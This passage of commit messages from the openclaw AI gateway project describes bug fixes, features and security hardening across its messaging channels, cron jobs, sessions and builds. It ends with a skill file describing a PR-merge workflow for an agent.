humanName (key) format for both displayName and label fallbacks.
Fixes#6645
* test: use deterministic updatedAt in session display name tests
* fix: prune stale session entries, cap entry count, and rotate sessions.json
The sessions.json file grows unbounded over time. Every heartbeat tick (default: 30m)
triggers multiple full rewrites, and session keys from groups, threads, and DMs
accumulate indefinitely with large embedded objects (skillsSnapshot,
systemPromptReport). At >50MB the synchronous JSON parse blocks the event loop,
causing Telegram webhook timeouts and effectively taking the bot down.
Three mitigations, all running inside saveSessionStoreUnlocked() on every write:
1. Prune stale entries: remove entries with updatedAt older than 30 days
(configurable via session.maintenance.pruneDays in openclaw.json)
2. Cap entry count: keep only the 500 most recently updated entries
(configurable via session.maintenance.maxEntries). Entries without updatedAt
are evicted first.
3. File rotation: if the existing sessions.json exceeds 10MB before a write,
rename it to sessions.json.bak.{timestamp} and keep only the 3 most recent
backups (configurable via session.maintenance.rotateBytes).
All three thresholds are configurable under session.maintenance in openclaw.json
with Zod validation. No env vars.
Existing tests updated to use Date.now() instead of epoch-relative timestamps
(1, 2, 3) that would be incorrectly pruned as stale.
27 new tests covering pruning, capping, rotation, and integration scenarios.
* feat: auto-prune expired cron run sessions (#12289)
Add TTL-based reaper for isolated cron run sessions that accumulate
indefinitely in sessions.json.
New config option:
cron.sessionRetention: string | false (default: '24h')
The reaper runs piggy-backed on the cron timer tick, self-throttled
to sweep at most every 5 minutes. It removes session entries matching
the pattern cron:<jobId>:run:<uuid> whose updatedAt + retention < now.
Design follows the Kubernetes ttlSecondsAfterFinished pattern:
- Sessions are persisted normally (observability/debugging)
- A periodic reaper prunes expired entries
- Configurable retention with sensible default
- Set to false to disable pruning entirely
Files changed:
- src/config/types.cron.ts: Add sessionRetention to CronConfig
- src/config/zod-schema.ts: Add Zod validation for sessionRetention
- src/cron/session-reaper.ts: New reaper module (sweepCronRunSessions)
- src/cron/session-reaper.test.ts: 12 tests covering all paths
- src/cron/service/state.ts: Add cronConfig/sessionStorePath to deps
- src/cron/service/timer.ts: Wire reaper into onTimer tick
- src/gateway/server-cron.ts: Pass config and session store path to deps
Closes#12289
* fix: sweep cron session stores per agent
* docs: add changelog for session maintenance (#13083) (thanks @skyfallsin, @Glucksberg)
* fix: add warn-only session maintenance mode
* fix: warn-only maintenance defaults to active session
* fix: deliver maintenance warnings to active session
* docs: add session maintenance examples
* fix: accept duration and size maintenance thresholds
* refactor: share cron run session key check
* fix: format issues and replace defaultRuntime.warn with console.warn
---------
Co-authored-by: Pradeep Elankumaran <pradeepe@gmail.com>
Co-authored-by: Glucksberg <markuscontasul@gmail.com>
Co-authored-by: max <40643627+quotentiroler@users.noreply.github.com>
Co-authored-by: quotentiroler <max.nussbaumer@maxhealth.tech>
* fix(tools): correct Grok response parsing for xAI Responses API
The xAI Responses API returns content in output[0].content[0].text,
not in output_text field. Updated GrokSearchResponse type and
runGrokSearch to extract content from the correct path.
Fixes the 'No response' issue when using Grok web search.
* fix(tools): harden Grok web_search parsing (#13049) (thanks @ereid7)
---------
Co-authored-by: erai <erai@erais-Mac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix: suggest /reset in context overflow error message
When the context window overflows, the error message now suggests
using /reset to clear session history, giving users an actionable
recovery path instead of a dead-end error.
Closes#12940
Co-Authored-By: Claude <noreply@anthropic.com>
* fix: suggest /reset in context overflow error message (#12973) (thanks @RamiNoodle733)
---------
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Rami Abdelrazzaq <RamiNoodle733@users.noreply.github.com>
* fix: cap Discord gateway reconnect attempts to prevent infinite loop
The Discord GatewayPlugin was configured with maxAttempts: Infinity,
which causes an unbounded reconnection loop when the Discord gateway
enters a persistent failure state (e.g. code 1005 with stalled HELLO).
In production, this manifested as 2,483+ reconnection attempts in a
single log file, starving the Node.js event loop and preventing cron,
heartbeat, and other subsystems from functioning.
Cap maxAttempts at 50, which provides ~25 minutes of retry time
(with 30s HELLO timeout between attempts) before cleanly exiting
via the existing "Max reconnect attempts" error handler.
Closes#11836
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Changelog: note Discord gateway reconnect cap (#12230) (thanks @Yida-Dev)
---------
Co-authored-by: Yida-Dev <reyifeijun@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Shadow <shadow@clawd.bot>
Problem:
When users execute `/think off`, they still receive `reasoning_content`
from models configured with `reasoning: true` (e.g., GLM-4.7, GLM-4.6,
Kimi K2.5, MiniMax-M2.1).
Expected: `/think off` should completely disable reasoning content.
Actual: Reasoning content is still returned.
Root Cause:
The directive handlers delete `sessionEntry.thinkingLevel` when user
executes `/think off`. This causes the thinking level to become undefined,
and the system falls back to `resolveThinkingDefault()`, which checks the
model catalog and returns "low" for reasoning-capable models, ignoring the
user's explicit intent.
Why We Must Persist "off" (Design Rationale):
1. **Model-dependent defaults**: Unlike other directives where "off" means
use a global default, `thinkingLevel` has model-dependent defaults:
- Reasoning-capable models (GLM-4.7, etc.) → default "low"
- Other models → default "off"
2. **Existing pattern**: The codebase already follows this pattern for
`elevatedLevel`, which persists "off" explicitly to override defaults
that may be "on". The comment explains:
"Persist 'off' explicitly so `/elevated off` actually overrides defaults."
3. **User intent**: When a user explicitly executes `/think off`, they want
to disable thinking regardless of the model's capabilities. Deleting the
field breaks this intent by falling back to the model's default.
Solution:
Persist "off" value instead of deleting the field in all internal directive handlers:
- `src/auto-reply/reply/directive-handling.impl.ts`: Directive-only messages
- `src/auto-reply/reply/directive-handling.persist.ts`: Inline directives
- `src/commands/agent.ts`: CLI command-line flags
Gateway API Backward Compatibility:
The original implementation incorrectly mapped `null` to "off" in
`sessions-patch.ts` for consistency with internal handlers. This was a
breaking change because:
- Previously, `null` cleared the override (deleted the field)
- API clients lost the ability to "clear to default" via `null`
- This contradicts standard JSON semantics where `null` means "no value"
Restored original null semantics in `src/gateway/sessions-patch.ts`:
- `null` → delete field, fall back to model default (clear override)
- `"off"` → persist explicit override
- Other values → normalize and persist
This ensures backward compatibility for API clients while fixing the `/think off`
issue in internal handlers.
Signed-off-by: Liu Yuan <namei.unix@gmail.com>
* Config: reload dotenv before env substitution on runtime loads
* Test: isolate config env var regression from host state env
* fix: keep dotenv vars resolvable on runtime config reloads (#12748) (thanks @rodrigouroz)
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Add description to docs.json for llms.txt blockquote summary
- Add title frontmatter to 10 docs files for llms.txt link text
- ci(docker): skip builds for docs-only changes
* CI: add code-size check for files crossing LOC threshold
* feat(ci): add duplicate function detection to CI code-size check
The --compare-to mode now also detects new duplicate function names
introduced by a PR. Uses git diff to scope checks to changed files
only, keeping CI fast.
* fix(ci): address review feedback for code-size check
- Validate git ref upfront; exit 2 if ref doesn't exist
- Distinguish 'file missing at ref' from genuine git errors
- Explicitly fetch base branch ref in CI workflow
- Raise threshold from 700 to 1000 lines
* fix(ci): exclude Swabble, skills, .pi from code analysis
* update gitignore for pycache
* ci: make code-size check informational (no failure on violations)
Adds a separate tsconfig that includes only *.test.ts files (which the main
tsconfig excludes). Available via 'pnpm tsgo:test' for incremental cleanup.
Not yet wired into 'pnpm check' there are ~2.8k pre-existing errors in
test files that need to be fixed incrementally first.
* fix(web_search): Fix invalid model name sent to Perplexity
* chore: Only apply fix to direct Perplexity calls
* fix(web_search): normalize direct Perplexity model IDs
* fix: add changelog note for perplexity model normalization (#12795) (thanks @cdorsey)
* fix: align tests and fetch type for gate stability (#12795) (thanks @cdorsey)
* chore: keep #12795 scoped to web_search changes
---------
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
* TypeScript: add extensions to tsconfig and fix type errors
- Add extensions/**/* to tsconfig.json includes
- Export ProviderAuthResult, AnyAgentTool from plugin-sdk
- Fix optional chaining for messageActions across channels
- Add missing type imports (MSTeamsConfig, GroupPolicy, etc.)
- Add type annotations for provider auth handlers
- Fix undici/fetch type compatibility in zalo proxy
- Correct ChannelAccountSnapshot property usage
- Add type casts for tool registrations
- Extract usage view styles and types to separate files
* TypeScript: fix optional debug calls and handleAction guards
Telegram DM access-control incorrectly used chatId as the allowFrom match key.
For DMs, allowFrom entries are typically Telegram user ids (msg.from.id) and/or @usernames. Using chatId causes legitimate DMs to be rejected or silently dropped even when dmPolicy is open/allowlist.
This change matches allowFrom against the sender's user id when available, falling back to chatId only if msg.from.id is missing.
Tests: existing telegram DM/thread routing tests pass.
Closes#4515
The skill documented `openclaw gateway wake --text ... --mode now` which
is not a valid subcommand. The correct command is
`openclaw system event --text ... --mode now`.
Fixes#10515.
Telegram Bot API limits setMyCommands to 100 commands per scope. When
users have many skills installed (~15+), the combined native + plugin +
custom commands can exceed this limit, causing a 400 error on every
gateway restart.
Truncate the command list to 100 (native commands first, then plugins,
then custom) and log a warning instead of failing the registration.
Fixes#11567
* docs(subagents): rewrite page for clarity with examples and Mintlify components
- Add Quick Start section with natural language usage examples
- Add step-by-step How It Works using <Steps> component
- Break configuration into focused subsections with code examples
- Add proper parameters table for sessions_spawn tool
- Document model resolution order (verified against codebase)
- Add interactive /subagents command examples in <AccordionGroup>
- Fix inaccurate tool deny list: document all 11 denied tools (was 4)
- Use <Tip>, <Note>, <Warning>, <Accordion> components throughout
- Add cross-agent spawning config example
- Add full configuration example in collapsible accordion
- Add See Also links to related pages
- All information preserved or verified against codebase
* docs(subagents): correct behavior and config defaults
- Fix model/thinking defaults to match runtime behavior
- Clarify model and thinking resolution order for sessions_spawn
- Remove incorrect claim that announce runs in child session
- Replace ANNOUNCE_SKIP note with NO_REPLY behavior
- Align announce status wording with runtime outcomes
* docs(subagents): clarify NO_REPLY vs ANNOUNCE_SKIP (#12761) (thanks @sebslight)
- Create shared PNG encoder module (src/media/png-encode.ts)
- Refactor qr-image.ts and live-image-probe.ts to use shared encoder
- Add safeParseJson to utils.ts and plugin-sdk exports
- Update msteams and pairing-store to use centralized safeParseJson
* refactor: consolidate duplicate utility functions
- Add escapeRegExp to src/utils.ts and remove 10 local duplicates
- Rename bash-tools clampNumber to clampWithDefault (different signature)
- Centralize formatError calls to use formatErrorMessage from infra/errors.ts
- Re-export formatErrorMessage from cli/cli-utils.ts to preserve API
* refactor: consolidate remaining escapeRegExp duplicates
* refactor: consolidate sleep, stripAnsi, and clamp duplicates
* Memory/QMD: symlink default model cache into custom XDG_CACHE_HOME
QmdMemoryManager overrides XDG_CACHE_HOME to isolate the qmd index
per-agent, but this also moves where qmd looks for its ML models
(~2.1GB). Since models are installed at the default location
(~/.cache/qmd/models/), every qmd invocation would attempt to
re-download them from HuggingFace and time out.
Fix: on initialization, symlink ~/.cache/qmd/models/ into the custom
XDG_CACHE_HOME path so the index stays isolated per-agent while the
shared models are reused. The symlink is only created when the default
models directory exists and the target path does not already exist.
Includes tests for the three key scenarios: symlink creation, existing
directory preservation, and graceful skip when no default models exist.
* Memory/QMD: skip model symlink warning on ENOENT
* test: stabilize warning-filter visibility assertion (#12114) (thanks @tyler6204)
* fix: add changelog entry for QMD cache reuse (#12114) (thanks @tyler6204)
* fix: handle plain context-overflow strings in compaction detection (#12114) (thanks @tyler6204)
Add xAI's Grok as a new web_search provider alongside Brave and Perplexity.
Uses the xAI /v1/responses API with tools: [{type: "web_search"}].
Configuration:
- tools.web.search.provider: "grok"
- tools.web.search.grok.apiKey or XAI_API_KEY env var
- tools.web.search.grok.model (default: grok-4-1-fast)
- tools.web.search.grok.inlineCitations (optional, embeds markdown links)
Returns AI-synthesized answers with citations similar to Perplexity.
* fix(cron): recover flat params when LLM omits job wrapper (#11310)
Non-frontier models (e.g. Grok) flatten job properties to the top level
alongside `action` instead of nesting them inside the `job` parameter.
The opaque schema (`Type.Object({}, { additionalProperties: true })`)
gives these models no structural hint, so they put name, schedule,
payload, etc. as siblings of action.
Add a flat-params recovery step in the cron add handler: when
`params.job` is missing or an empty object, scan for recognised job
property names on params and construct a synthetic job object before
passing to `normalizeCronJobCreate`. Recovery requires at least one
meaningful signal field (schedule, payload, message, or text) to avoid
false positives.
Added tests:
- Flat params with no job wrapper → recovered
- Empty job object + flat params → recovered
- Message shorthand at top level → inferred as agentTurn
- No meaningful fields → still throws 'job required'
- Non-empty job takes precedence over flat params
* fix(cron): floor nowMs to second boundary before croner lookback
Cron expressions operate at second granularity. When nowMs falls
mid-second (e.g. 12:00:00.500) and the pattern targets that exact
second (like '0 0 12 * * *'), a 1ms lookback still lands inside the
matching second. Croner interprets this as 'already past' and skips
to the next occurrence (e.g. the following day).
Fix: floor nowMs to the start of the current second before applying
the 1ms lookback. This ensures the reference always falls in the
*previous* second, so croner correctly identifies the current match.
Also compare the result against the floored nowSecondMs (not raw nowMs)
so that a match at the start of the current second is not rejected by
the >= guard when nowMs has sub-second offset.
Adds regression tests for 6-field cron patterns with specific seconds.
* fix: add changelog entries for cron fixes (#12124) (thanks @tyler6204)
* test: stabilize warning filter emit assertion (#12124) (thanks @tyler6204)
* feat: Implement Telegram video note support with tests and docs
* fixing lint
* feat: add doctor-state-integrity command, Telegram messaging, and PowerShell Docker setup scripts.
* Update src/telegram/send.video-note.test.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
* fix: Set video note follow-up text to undefined for empty input and adjust caption test expectation.
* test: add assertion for `sendMessage` with reply markup and HTML parse mode in `send.video-note` test.
* docs: add changelog entry for Telegram video notes
---------
Co-authored-by: Evgenii Utkin <thewulf7@gmail.com>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: CLAWDINATOR Bot <clawdinator[bot]@users.noreply.github.com>
* fix(skills): ignore Python venvs and caches in skills watcher
Add .venv, venv, __pycache__, .mypy_cache, .pytest_cache, build, and
.cache to the default ignored patterns for the skills watcher.
This prevents file descriptor exhaustion when a skill contains a Python
virtual environment with tens of thousands of files, which was causing
EBADF spawn errors on macOS.
Fixes#1056
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* docs: add changelog entry for skills watcher ignores
* docs: fill changelog PR number
---------
Co-authored-by: Kyle Howells <freerunnering@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: CLAWDINATOR Bot <clawdinator[bot]@users.noreply.github.com>
* Gateway: preserve Pi transcript parentId for injected messages
Thread: unknown
When: 2026-02-08 20:08 CST
Repo: https://github.com/openclaw/openclaw.git
Branch: codex/wip/2026-02-09/compact-post-compaction-parentid-fix
Problem
- Post-compaction turns sometimes lost the compaction summary + kept suffix in the *next* provider request.
- Root cause was session graph corruption: gateway appended "stopReason: injected" transcript lines via raw JSONL writes without `parentId`.
- Pi's `SessionManager.buildSessionContext()` walks the `parentId` chain from the current leaf; missing `parentId` can sever the active branch and hide the compaction entry.
Fix
- Use `SessionManager.appendMessage(...)` for injected assistant transcript writes so `parentId` is set to the current leaf.
- Route `chat.inject` through the same helper to avoid duplicating the broken raw JSONL append logic.
Why This Matters
- The compaction algorithm may be correct, but if the leaf chain is broken right after compaction, the provider payload cannot include the summary/suffix "shape" Pi expects.
Testing
- pnpm test src/agents/pi-embedded-helpers.post-compaction-shape.test.ts src/agents/pi-embedded-runner/run.overflow-compaction.post-context.test.ts
- pnpm build
Notes
- This is provider-shape agnostic: it fixes transcript structure so Anthropic/Gemini/etc all see the same post-compaction context.
Resume
- If post-compaction looks wrong again, inspect the session transcript for entries missing `parentId` immediately after `type: compaction`.
* Gateway: guardrail test for transcript parentId (chat.inject)
* Gateway: guardrail against raw transcript appends (chat.ts)
* Gateway: add local AGENTS.md note to preserve Pi transcript parentId chain
* Changelog: note gateway post-compaction amnesia fix
* Gateway: store injected transcript messages with valid stopReason
* Gateway: use valid stopReason in injected fallback
* fix: compile bundled hook handlers in tsdown build
The migration from tsc to tsdown in 2026.2.2 dropped bundled hook handlers
from the build output. The copy-hook-metadata.ts script only copies HOOK.md
metadata files, not the handler.ts source files. Without corresponding tsdown
entry points, the handlers were never compiled to JS, causing
`openclaw hooks list` to show 0 hooks on npm installs.
This adds each bundled hook handler and the llm-slug-generator (dynamically
imported by session-memory) as tsdown entry points:
- src/hooks/bundled/session-memory/handler.ts
- src/hooks/bundled/command-logger/handler.ts
- src/hooks/bundled/boot-md/handler.ts
- src/hooks/bundled/soul-evil/handler.ts
- src/hooks/llm-slug-generator.ts
Regression introduced in 2026.2.2; versions 2026.1.29–2026.2.1 worked
correctly under the previous tsc build.
* refactor: use glob for bundled hook entries, fix dist output paths
- Replace hardcoded entry list with glob pattern in tsdown.config.ts
so new hooks are auto-discovered (matching scripts/copy-hook-metadata.ts)
- Remove inconsistent comment block from tsdown.config.ts
- Fix copy-hook-metadata.ts to copy HOOK.md to dist/bundled/ (matching
the runtime resolution in bundled-dir.ts which resolves path.join(moduleDir, 'bundled')
relative to the chunk in dist/)
- Update stale path comment in session-memory handler
* macOS: honor Nix defaults suite; auto launch in Nix mode
Fixes repeated onboarding in Nix deployments by detecting nixMode from the stable defaults suite (ai.openclaw.mac) and bridging key settings into the current defaults domain.
Also enables LaunchAgent autostart by default in Nix mode (escape hatch: openclaw.nixAutoLaunchAtLogin=false).
* macOS: keep Nix mode fix focused
Drop the automatic launch-at-login behavior from the Nix defaults patch; keep this PR scoped to reliable nixMode detection + defaults bridging.
* macOS: simplify nixMode fix
Remove the defaults-bridging helper and rely on a single, stable defaults suite (ai.openclaw.mac) for nixMode detection when running as an app bundle. This keeps the fix focused on onboarding suppression and rename churn resilience.
* macOS: fix nixMode defaults suite churn (#12205)
* test: normalize paths in OPENCLAW_HOME tests for cross-platform support
* test: normalize paths in Nix integration tests for cross-platform support
* test: remove unnecessary Windows skip from pi-embedded-runner test
* test: fix nix integration tests for path.resolve behavior
* fix(paths): structurally resolve home dir to prevent Windows path bugs
Extract resolveRawHomeDir as a private function and gate the public
resolveEffectiveHomeDir through a single path.resolve() exit point.
This makes it structurally impossible for unresolved paths (missing
drive letter on Windows) to escape the function, regardless of how
many return paths exist in the raw lookup logic.
Simplify resolveRequiredHomeDir to only resolve the process.cwd()
fallback, since resolveEffectiveHomeDir now returns resolved values.
Fix shortenMeta in tool-meta.ts: the colon-based split for file:line
patterns (e.g. file.txt:12) conflicts with Windows drive letters
(C:\...) because indexOf(":") matches the drive colon first.
shortenHomeInString already handles file:line patterns correctly via
split/join, so the colon split was both unnecessary and harmful.
Update test assertions across all affected files to use path.resolve()
in expected values and input strings so they match the now-correct
resolved output on both Unix and Windows.
Fixes#12119
* fix(changelog): add paths Windows fix entry (#12125)
---------
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
* fix: use .js extension for ESM imports of RoutePeerKind
The imports incorrectly used .ts extension which doesn't resolve
with moduleResolution: NodeNext. Changed to .js and added 'type'
import modifier.
* fix tsconfig
* refactor: unify peer kind to ChatType, rename dm to direct
- Replace RoutePeerKind with ChatType throughout codebase
- Change 'dm' literal values to 'direct' in routing/session keys
- Keep backward compat: normalizeChatType accepts 'dm' -> 'direct'
- Add ChatType export to plugin-sdk, deprecate RoutePeerKind
- Update session key parsing to accept both 'dm' and 'direct' markers
- Update all channel monitors and extensions to use ChatType
BREAKING CHANGE: Session keys now use 'direct' instead of 'dm'.
Existing 'dm' keys still work via backward compat layer.
* fix tests
* test: update session key expectations for dmdirect migration
- Fix test expectations to expect :direct: in generated output
- Add explicit backward compat test for normalizeChatType('dm')
- Keep input test data with :dm: keys to verify backward compat
* fix: accept legacy 'dm' in session key parsing for backward compat
getDmHistoryLimitFromSessionKey now accepts both :dm: and :direct:
to ensure old session keys continue to work correctly.
* test: add explicit backward compat tests for dmdirect migration
- session-key.test.ts: verify both :dm: and :direct: keys are valid
- getDmHistoryLimitFromSessionKey: verify both formats work
* feat: backward compat for resetByType.dm config key
* test: skip unix-path Nix tests on Windows
Closes#5308
When users configure maxTokens larger than contextWindow (e.g., maxTokens: 40960
with contextWindow: 32768), the model may fail silently. This fix clamps
maxTokens to be at most contextWindow, preventing such invalid configurations.
* Add GitHub Copilot models to xhigh list
* fix(thinking): add xhigh copilot tests and changelog (#11646) (thanks @seans-openclawbot)
---------
Co-authored-by: Sean Dai <sdai@gatech.edu>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
* feat(telegram): add spoiler tag support
Render markdown ||spoiler|| syntax as <tg-spoiler> tags in Telegram HTML output.
The markdown IR already parses spoiler syntax, but the Telegram renderer was
missing the style marker. This adds the spoiler marker to renderTelegramHtml().
Fixes spoiler text appearing as raw ||text|| instead of hidden text.
* fix: enable Telegram spoiler rendering (#11543) (thanks @ezhikkk)
---------
Co-authored-by: Параша <parasha@openclaw.local>
Co-authored-by: Muhammed Mukhthar CM <mukhtharcm@gmail.com>
* initial commit
* feat: implement deriveSessionTotalTokens function and update usage tests
* Added deriveSessionTotalTokens function to calculate total tokens based on usage and context tokens.
* Updated usage tests to include cases for derived session total tokens.
* Refactored session usage calculations in multiple files to utilize the new function for improved accuracy.
* fix: restore overflow truncation fallback + changelog/test hardening (#11551) (thanks @tyler6204)
* fix(cron): comprehensive cron scheduling and delivery fixes
- Fix delivery target resolution for isolated agent cron jobs
- Improve schedule parsing and validation
- Add job retry logic and error handling
- Enhance cron ops with better state management
- Add timer improvements for more reliable cron execution
- Add cron event type to protocol schema
- Support cron events in heartbeat runner (skip empty-heartbeat check,
use dedicated CRON_EVENT_PROMPT for relay)
* fix: remove cron debug test and add changelog/docs notes (#11641) (thanks @tyler6204)
* fix: use STATE_DIR instead of hardcoded ~/.openclaw for identity and canvas
device-identity.ts and canvas-host/server.ts used hardcoded
path.join(os.homedir(), '.openclaw', ...) ignoring OPENCLAW_STATE_DIR
env var and the resolveStateDir() logic from config/paths.ts.
This caused ~/.openclaw/identity and ~/.openclaw/canvas directories
to be created even when state dir was overridden or resided elsewhere.
* fix: format and remove duplicate imports
* fix: scope state-dir patch + add regression tests (#4824) (thanks @kossoy)
* fix: align state-dir fallbacks in hooks and agent paths (#4824) (thanks @kossoy)
---------
Co-authored-by: Gustavo Madeira Santana <gumadeiras@gmail.com>
* Tests: harden flake hotspots and consolidate provider-auth suites
* Tests: restore env vars by deleting missing snapshot values
* Tests: use real newline in memory summary filter case
* Tests(memory): use fake timers for qmd timeout coverage
* Changelog: add tests hardening entry for #11598
* fix: gracefully handle oversized tool results causing context overflow
When a subagent reads a very large file or gets a huge tool result (e.g.,
gh pr diff on a massive PR), it can exceed the model's context window in
a single prompt. Auto-compaction can't help because there's no older
history to compact — just one giant tool result.
This adds two layers of defense:
1. Pre-emptive: Hard cap on tool result size (400K chars ≈ 100K tokens)
applied in the session tool result guard before persistence. This
prevents extremely large tool results from being stored in full,
regardless of model context window size.
2. Recovery: When context overflow is detected and compaction fails,
scan session messages for oversized tool results relative to the
model's actual context window (30% max share). If found, truncate
them in the session via branching (creating a new branch with
truncated content) and retry the prompt.
The truncation preserves the beginning of the content (most useful for
understanding what was read) and appends a notice explaining the
truncation and suggesting offset/limit parameters for targeted reads.
Includes comprehensive tests for:
- Text truncation with newline-boundary awareness
- Context-window-proportional size calculation
- In-memory message truncation
- Oversized detection heuristics
- Guard-level size capping during persistence
* fix: prep fixes for tool result truncation PR (#11579) (thanks @tyler6204)
* fix(gateway): use LAN IP for WebSocket/probe URLs when bind=lan (#11329)
When gateway.bind=lan, the HTTP server correctly binds to 0.0.0.0
(all interfaces), but WebSocket connection URLs, probe targets, and
Control UI links were hardcoded to 127.0.0.1. This caused CLI commands
and status probes to show localhost-only URLs even in LAN mode, and
made onboarding display misleading connection info.
- Add pickPrimaryLanIPv4() to gateway/net.ts to detect the machine's
primary LAN IPv4 address (prefers en0/eth0, falls back to any
external interface)
- Update pickProbeHostForBind() to use LAN IP when bind=lan
- Update buildGatewayConnectionDetails() to use LAN IP and report
"local lan <ip>" as the URL source
- Update resolveControlUiLinks() to return LAN-accessible URLs
- Update probe note in status.gather.ts to reflect new behavior
- Add tests for pickPrimaryLanIPv4 and bind=lan URL resolution
Closes#11329
Co-authored-by: Cursor <cursoragent@cursor.com>
* test: move vi.restoreAllMocks to afterEach in pickPrimaryLanIPv4
Per review feedback: avoid calling vi.restoreAllMocks() inside
individual tests as it restores all spies globally and can cause
ordering issues. Use afterEach in the describe block instead.
Co-authored-by: Cursor <cursoragent@cursor.com>
* Changelog: note LAN bind URLs fix (#11448) (thanks @AnonO6)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Added tests to ensure proper sanitization of context overflow errors.
- Introduced a new function to determine when to rewrite context overflow messages.
- Updated the sanitization logic to improve user experience by providing clearer error messages while preserving conversational context.
The streaming check was calling replyPlan.nextThreadTs() at setup time
to determine if a thread_ts existed, which consumed the first reference
before the deliver callback ran. Use incomingThreadTs/statusThreadTs
directly for the streaming eligibility check instead.
- Import ChatStreamer from @slack/web-api/dist/chat-stream.js (not re-exported from index)
- Fix TypeScript control flow narrowing for streamSession used in closure
Adds support for Slack's Agents & AI Apps text streaming APIs
(chat.startStream, chat.appendStream, chat.stopStream) to deliver
LLM responses as a single updating message instead of separate
messages per block.
Changes:
- New src/slack/streaming.ts with stream lifecycle helpers using
the SDK's ChatStreamer (client.chatStream())
- New 'streaming' config option on SlackAccountConfig
- Updated dispatch.ts to route block replies through the stream
when enabled, with graceful fallback to normal delivery
- Docs in docs/channels/slack.md covering setup and requirements
The streaming integration works by intercepting the deliver callback
in the reply dispatcher. When streaming is enabled and a thread
context exists, the first text delivery starts a stream, subsequent
deliveries append to it, and the stream is finalized after dispatch
completes. Media payloads and error cases fall back to normal
message delivery.
Refs:
- https://docs.slack.dev/ai/developing-ai-apps#streaming
- https://docs.slack.dev/reference/methods/chat.startStream
- https://docs.slack.dev/reference/methods/chat.appendStream
- https://docs.slack.dev/reference/methods/chat.stopStream
* docs: add missing HEARTBEAT.md and MEMORY.md to bootstrap files list
Fixes#7928
The documentation for skipBootstrap and workspace setup was missing
HEARTBEAT.md and MEMORY.md from the bootstrap files list.
Changes:
- docs/gateway/configuration.md: Add HEARTBEAT.md and MEMORY.md
- docs/zh-CN/gateway/configuration.md: Same for Chinese version
- docs/start/openclaw.md: Add HEARTBEAT.md, clarify MEMORY.md is optional
- docs/zh-CN/start/openclaw.md: Same for Chinese version
* fix: reference PR number instead of issue in CHANGELOG
* docs(workspace): align bootstrap file docs with runtime (#8105)
---------
Co-authored-by: damaozi <1811866786@qq.com>
Co-authored-by: Sebastian <19554889+sebslight@users.noreply.github.com>
* feat(bluebubbles): auto-strip markdown from outbound messages (#7402)
* fix(security): add timeout to webhook body reading (#6762)
Adds 30-second timeout to readBody() in voice-call, bluebubbles, and nostr
webhook handlers. Prevents Slow-Loris DoS (CWE-400, CVSS 7.5).
Merged with existing maxBytes protection in voice-call.
* fix(security): unify Error objects and lint fixes in webhook timeouts (#6762)
* fix: prevent plugins from auto-enabling without user consent (#3961)
Changes default plugin enabled state from true to false in enablePluginEntry().
Preserves existing enabled:true values. Fixes#3932.
* fix: apply hierarchical mediaMaxMb config to all channels (#8749)
Generalizes resolveAttachmentMaxBytes() to use account → channel → global
config resolution for all channels, not just BlueBubbles. Fixes#7847.
* fix(bluebubbles): sanitize attachment filenames against header injection (#10333)
Strip ", \r, \n, and \\ from filenames after path.basename() to prevent
multipart Content-Disposition header injection (CWE-93, CVSS 5.4).
Also adds sanitization to setGroupIconBlueBubbles which had zero filename
sanitization.
* fix(lint): exclude extensions/ from Oxlint preflight check (#9313)
Extensions use PluginRuntime|null patterns that trigger
no-redundant-type-constituents because PluginRuntime resolves to any.
Excluding extensions/ from Oxlint unblocks user upgrades.
Re-applies the approach from closed PR #10087.
* fix(bluebubbles): add tempGuid to createNewChatWithMessage payload (#7745)
Non-Private-API mode (AppleScript) requires tempGuid in send payloads.
The main sendMessageBlueBubbles already had it, but createNewChatWithMessage
was missing it, causing 400 errors for new chat creation without Private API.
* fix: send stop-typing signal when run ends with NO_REPLY (#8785)
Adds onCleanup callback to the typing controller that fires when the
controller is cleaned up while typing was active (e.g., after NO_REPLY).
Channels using createTypingCallbacks automatically get stop-typing on
cleanup. This prevents the typing indicator from lingering in group chats
when the agent decides not to reply.
* fix(telegram): deduplicate skill commands in multi-agent setup (#5717)
Two fixes:
1. Skip duplicate workspace dirs when listing skill commands across agents.
Multiple agents sharing the same workspace would produce duplicate commands
with _2, _3 suffixes.
2. Clear stale commands via deleteMyCommands before registering new ones.
Commands from deleted skills now get cleaned up on restart.
* fix: add size limits to unbounded in-memory caches (#4948)
Adds max-size caps with oldest-entry eviction to prevent OOM in
long-running deployments:
- BlueBubbles serverInfoCache: 64 entries (already has TTL)
- Google Chat authCache: 32 entries
- Matrix directRoomCache: 1024 entries
- Discord presenceCache: 5000 entries per account
* fix: address review concerns (#11093)
- Chain deleteMyCommands → setMyCommands to prevent race condition (#5717)
- Rename enablePluginEntry to registerPluginEntry (now sets enabled: false)
- Add Slow-Loris timeout test for readJsonBody (#6023)
description: Merge a GitHub PR via squash after /preparepr. Use when asked to merge a ready PR. Do not push to main or modify code. Ensure the PR ends in MERGED state and clean up worktrees after success.
---
# Merge PR
## Overview
Merge a prepared PR via `gh pr merge --squash` and clean up the worktree after success.
## Inputs
- Ask for PR number or URL.
- If missing, auto-detect from conversation.
- If ambiguous, ask.
## Safety
- Use `gh pr merge --squash` as the only path to `main`.
- Do not run `git push` at all during merge.
- Do not run gateway stop commands. Do not kill processes. Do not touch port 18792.
## Execution Rule
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs.
## Known Footguns
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/Development/openclaw`, not `~/openclaw`.
- Read `.local/review.md` and `.local/prep.md` in the worktree. Do not skip.
